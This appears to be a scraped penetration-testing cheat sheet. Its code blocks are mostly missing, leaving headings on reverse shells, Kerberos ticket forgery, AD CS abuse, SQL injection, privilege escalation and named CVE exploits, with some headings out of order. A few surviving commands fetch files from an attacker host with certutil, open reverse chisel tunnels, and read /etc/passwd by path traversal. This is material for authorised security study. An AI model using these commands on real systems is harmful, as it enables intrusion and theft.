Commands
Basics
curl
curl -v http://<DOMAIN> // verbose output
curl -X POST http://<DOMAIN> // use POST method
curl -X PUT http://<DOMAIN> // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080 // use proxy
curl -F myFile=@<FILE> http://<RHOST> // file upload
curl${IFS}<LHOST>/<FILE> // Internal Field Separator (IFS) exampleChisel
Reverse Pivot
./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000SOCKS5 / Proxychains Configuration
./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:socksFile Transfer
Certutil
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>Netcat
Impacket
PowerShell
Bash only
wget version
Paste directly to the shell.
curl version
FTP
Kerberos
Ligolo-ng
Download Proxy and Agent
Prepare Tunnel Interface
Setup Proxy on Attacker Machine
Setup Agent on Target Machine
Session
Linux
CentOS
Environment Variables
gcc
getfacl
iconv
vi
Windows Command Formatting
Microsoft Windows
dir
PHP Webserver
Ping
Python Webserver
RDP
showmount
smbclient
Download multiple files at once
Upload multiple Files at once
socat
SSH
Time and Date
Get the Server Time
Stop virtualbox-guest-utils to stop syncing Time
Stop systemd-timesyncd to sync Time manually
Disable automatic Sync
Options to set the Date and Time
Keep in Sync with a Server
Tmux
Copy & Paste
Search
Logging
Save Output
Upgrading Shells
Alternatively:
Oneliner
Fixing Staircase Effect
or
VirtualBox
virtualenv
Information Gathering
memcached
NetBIOS
Nmap
Port Scanning
snmpwalk
Web Application Analysis
Burp Suite
Set Proxy Environment Variables
cadaver
Cross-Site Scripting (XSS)
ffuf
API Fuzzing
Searching for LFI
Fuzzing with PHP Session ID
Recursion
File Extensions
Rate Limiting
Virtual Host Discovery
Massive File Extension Discovery
GitTools
Gobuster
Common File Extensions
Common Picture Extensions
POST Requests
DNS Recon
VHost Discovery
Specifiy User Agent
Local File Inclusion (LFI)
Until php 5.3
Null Byte
Encoded Traversal Strings
php://filter Wrapper
https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter
Django, Rails, or Node.js Web Application Header Values
Linux Files
Windows Files
PDF PHP Inclusion
Create a file with a PDF header, which contains PHP code.
PHP Upload Filter Bypasses
PHP Filter Chain Generator
PHP Generic Gadget Chains (PHPGGC)
Server-Side Request Forgery (SSRF)
Server-Side Template Injection (SSTI)
Fuzz String
arua2c
APT
Read first Line of a File with apache2 Binary
Apache2
grep for Passwords
find Commands
Basic Linux Enumeration
Linux
ldapsearch
Get NTLM from Password
Execute CMD on Remote Host
Inject Ticket with Rubeus
Rubeus Examples
Inject TGT with Mimikatz
Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)
Generate TGT with AES 128bit Key
Generate TGT with NTLM
mimikatz Examples
Execute Remote Commands by using TGT
Set TGT for Impacket Usage
Generate TGT with aesKey
Generate TGT with NTLM
Impacket Examples
Golden Ticket
Execute CMD on Remote Host
Rubeus Examples
Inject TGS with Mimikatz
Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)
Generate TGS with AES 128bit Key
Generate TGS with NTLM
mimikatz Examples
Execute Remote Commands by using TGT
Set the ticket for impacket use
Generate TGS with aesKey
Generate TGS with NTLM
Impacket Examples
Silver Ticket
Execute a CMD on Remote Host
Inject Ticket with Rubeus
Inject Ticket with mimikatz
Using Ticket on Windows
Execute Remote Commands by using TGT
Using Ticket on Linux
Convert Tickets between Linux and Windows Format with ticket_converter.py
Convert Tickets dumped with Rubeus into base64
Harvest Tickets from Windows
If none return, default is FILE:/tmp/krb5cc_%{uid}
In Case of File Tickets it is possible to Copy-Paste them to use them
In Case of being KEYRING Tickets, the Tool tickey can be used to get them
To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
To inject, the Ticket have to be copied in a reachable Folder by all Users
Check Type and Location of Tickets
Harvest Tickets from Linux
Pass The Ticket (PTT)
Execute a CMD on Remote Host
Ask and inject the Ticket
Execute Remote Commands
Set TGT for Impacket Usage
Request TGT with Password
Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)
Request TGT with Hash
Overpass The Hash/Pass The Key (PTK)
Kerberoasting
Check ASPREPRoast for all Domain Users in Domain
Check ASPREPRoast for a List of Users (No Credentials required)
Check ASPREPRoast for all Domain Users (Credentials required)
ASPREPRoast
Check Passwords for all Users in Domain
With List of Users
Bruteforce
Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).
General Notes
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
Kerberos
JAWS
owneredit.py
https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py
Then put the
msada_guids.pyinto the same directory asdacledit.pyFixing msada_guids Error
dacledit.py
How to fix it
Issue
Fixing [-] exceptions must derive from BaseException
Valid User
NTHASH
Domain-SID
Requirements
impacket-ticketer
impacket-psexec
impacket-secretsdump
impacket-getUserSPNs
impacket-GetNPUsers
impacket-getTGT
impacket-smbclient
Impacket
Evil-WinRM
enum4linux-ng
Start BloodHound Fork
Revert Changes
Run the following command twice because of a current issue with
certipy.Certificate Request
Certificate Forging
LDAP-Shell
Authentication
Account Creation
Certipy
Certify
bloodyAD
BloodHound Python
Database Password Reset
Docker Container
Installing and starting Database
BloodHound
ADCSTemplateESC11: IF_ENFORCEENCRYPTICERTREQUEST
Case 2
Case 1
ESC10: Weak Certificate Mappings
ESC9: No Security Extensions
Coercing
ESC8: NTLM Relay to AD CS HTTP Endpoints
ESC7: Vulnerable Certificate Authority Access Control
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
ESC4: Vulnerable Certificate Template Access Control
ESC3: Enrollment Agent Templates
ESC2: Misconfigured Certificate Templates
ESC1: Misconfigured Certificate Templates
Active Directory Certificate Services (AD CS)
Post ExploitationDownload Files
Setup Listener for Microsoft Windows
Generate Payload
Meterpreter Listener
Auxiliary Output Directory
Metasploit through Proxychains
Metasploit
poc.svg
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
MSL / Polyglot Attack
ImageTragick
Exploitation Toolspypykatz
NetExec
Skeleton Key
Forging Golden Ticket
Pass the Ticket
Dump Hshes
Common Commands
mimikatz
LaZagne
Password Spray
User Enumeration
Kerbrute
John
Hydra
Cracking with OneRuleToRuleThemAll.rule
https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule
Rules
Crack with hashcat
Result
Generate NetNLTMv2 with internalMonologue and crack with hashcat
Generate Password Candidates: Wordlist + Pattern
Bruteforce based on the Pattern
Cracking Kerberoasting Password File
Cracking ASPREPRoast Password File
hashcat
fcrack
CrackMapExec
Password AttacksList Files and Folders with xp_dirtree
sqsh
sqlite3
SQL Truncation Attack
Authentication Bypass
Master List
SQL Injection
Enter own SSH Key
Redis
Common CommandsPostgreSQL
NoSQL Injection
Linked SQL Server Enumeration
Write SSH Key into authorized_keys2 file
Insert Code to get executed
xp_cmdshell
Drop a Shell
Update User Password
MySQL
Steal NetNTLM Hash / Relay Attack
Binary Extraction as Base64
OPENQUERY
Show Database Content
Connection
MSSQL
User Password Reset to "12345"
MongoDB
Privilege Escalation
Connection
Common Commands
impacket-mssqlclient
Database AnalysisPayloads
Skeleton Payload Request
XML External Entity (XXE)
WPScan
Enumerating PIDs
Numbering Files
DNS
SQL
Login
Git
Subdomain
Domain
Fuzzing two Parameters at once
Custom Scan with limited Output
Write to File
wfuzz
Upload Vulnerabilities
https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
Magic Payload
https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti
Bash Debugging Mode
Bash <4.4
Bash Functions
Bash <4.2-048
LD_PRELOAD
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
shell.c
or
Compiling
Privilege Escalation
LD_LIBRARY_PATH
Get Information about Libraries
shell.c
Compiling
Privilege Escalation
logrotten
If "create"-option is set in logrotate.cfg
If "compress"-option is set in logrotate.cfg
Path Variable Hijacking
PHP7.2
relayd
The binary need to have the
SUIDbit set.Shared Library Misconfiguration
https://tbhaxor.com/exploiting-shared-library-misconfigurations/
shell.c
Compiling
Wildcards
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
With the command
touch -- --checkpoint=1will be a file created. Why? Because the--behind the commandtouchis telling touch, that there's option to be wait for. Instead of an option, it creates a file, named--checkpoint=1.or
So after creating the
--checkpoint=1file, i created another file, which executes a shell script.or
To delete a misconfigured file, put a
./in front of it.Writeable Directories in Linux
Microsoft Windows
Basic Windows Enumeration
AppLocker Bypass List
accesschk
Checking File Permissions
Checking Service Permissions
Checking Path Permissions to find Unquoted Service Paths
Checking Registry Entries
Adding Users to Groups
Enable Remote Desktop (RDP)
or
Privileges and Permissions
AlwaysInstallElevated
SeBackup and SeRestore Privilege
Backup SAM and SYSTEM Hashes
Dumping Hashes
SeBackupPrivilege Privilege Escalation (diskshadow)
https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug
Script for PowerShell Environment
Copy ntds.dit
Export System Registry Value
Extract the Hashes
Alternative Way via Robocopy
SeTakeOwnership Privilege
Click the
Ease of Accessbutton on the logon screen to get a shell withNT Authority\Systemprivileges.SeImpersonate and SeAssignPrimaryToken Privilege
Registry Handling
Enable Colored Output
Then open a new Terminal Window.
Check for Auto Run Programs
Get Registry Key Information
Modify Registry Key
Searching for Credentials
Quick Wins
https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09
Search for Passwords
PowerShell History
Saved Windows Credentials
Search the Registry for Passwords
Dumping Credentials
Internet Information Service (IIS)
PuTTY
Lsass
Unattended Windows Installations
Insecure Service Permissions
Service Handling
Scheduled Tasks
Unquoted Service Paths
Search for
Unquoted Service Pathsby usingsc qc.writeDACL
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
WMIC
PassTheCert
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert/tree/main/Python
PKINITtools
Port Scanning
powercat
Powermad
PowerShell
Common Commands
Allow Script Execution
Script Execution Bypass
Import Module to PowerShell cmdlet
Check PowerShell Versions
Read PowerShell History
Create a .zip File
Unzip a File
Start a new Process
Invoke-Expression / Invoke-WebRequest
.NET Reflection
Start offsec Session
Execute Command as another User
or
Add new Domain Administrator
Execute Commands in User Context
Execute Scripts with Credentials (Reverse Shell)
pwncat
rpcclient
Rubeus
Overpass the Hash
Pass the Hash
RunasCs
smbpasswd
winexe
CVECVE-2014-6271: Shellshock RCE PoC
CVE-2016-1531: exim LPE
exim version <= 4.84-3
CVE-2019-14287: Sudo Bypass
Prerequisites
Sudo version < 1.8.28
Exploitation
CVE-2020-1472: ZeroLogon PE
https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py
Prerequisites
PoC Modification
Weaponized PoC
Execution
CVE-2021-3156: Sudo / sudoedit LPE
Pre-requisistes
Ubuntu 20.04 (Sudo 1.8.31)
Debian 10 (Sudo 1.8.27)
Fedora 33 (Sudo 1.9.2)
All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1
Vulnerability Test
The machine is vulnerable if one of the following message is shown.
Not vulnerable if the error message starts with
usage:.CVE-2021-44228: Log4Shell RCE (0-day)
Pre-requisistes
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
Start the Listener
Execution
CVE-2022-0847: Dirty Pipe LPE
CVE-2022-22963: Spring4Shell RCE (0-day)
CVE-2022-30190: MS-MSDT Follina RCE
CVE-2022-31214: Firejail LPE
First Terminal
Second Terminal
CVE-2023-21746: Windows NTLM EoP LocalPotato LPE
https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc
Modify the following file and build the solution.
Modify the following file and build the solution.
First get the
pathsfrom theenvironment, then useLocalPotatoto place themalicious DLL.At least trigger
StorSvcviaRpcClient.exe.CVE-2023-22809: Sudo Bypass
https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466
Prerequisites
Sudo version needs to be ≥ 1.8 and < 1.9.12p2.
Limited Sudo access to at least one file on the system that requires root access.
Example
Exploitation
CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)
CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)
Linux ubuntu2204 5.19.0-46-generic
CVE-2023-4911: Looney Tunables LPE
GodPotato LPE
Juicy Potato LPE
GetCLSID.ps1
Execution
JuicyPotatoNG LPE
MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE
PrintSpoofer LPE
SharpEfsPotato LPE
Shocker Container Escape
https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c
Modifying Exploit
Compiling
PayloadsDonut
Exiftool
PHP into JPG Injection
GhostScript
nishang
Reverse Shells
Bash Reverse Shell
curl Reverse Shell
Groovy (Jenkins) Reverse Shell
JAVA Reverse Shell
shell.jar
Lua Reverse Shell
Markdown Reverse Shell
mkfifo Reverse Shell
Netcat Reverse Shell
Perl Reverse Shell
PHP Reverse Shell
PowerShell Reverse Shell
minireverse.ps1
Python Reverse Shell
Ruby Reverse Shell
ScareCrow
Payloads
Shellcode Payload Creation with msfvenom
.msi-File Payload Creation with msfvenom
Listener
Obfuscation
DLL Side-Loading
Windows Script Host
Control Panel Files
Renaming Payload
Execution
or
For
.cpl-Filesa simple double click is enough to execute them.Shikata Ga Nai
Web Shells
PHP Web Shell
ysoserial
TemplatesASPX Web Shell
Bad YAML
Exploit Skeleton Python Script
JSON POST Request
Python Pickle RCE
Python Redirect for SSRF
Python Web Request
XML External Entity (XXE)
Request
Content of .dtd
Last updated
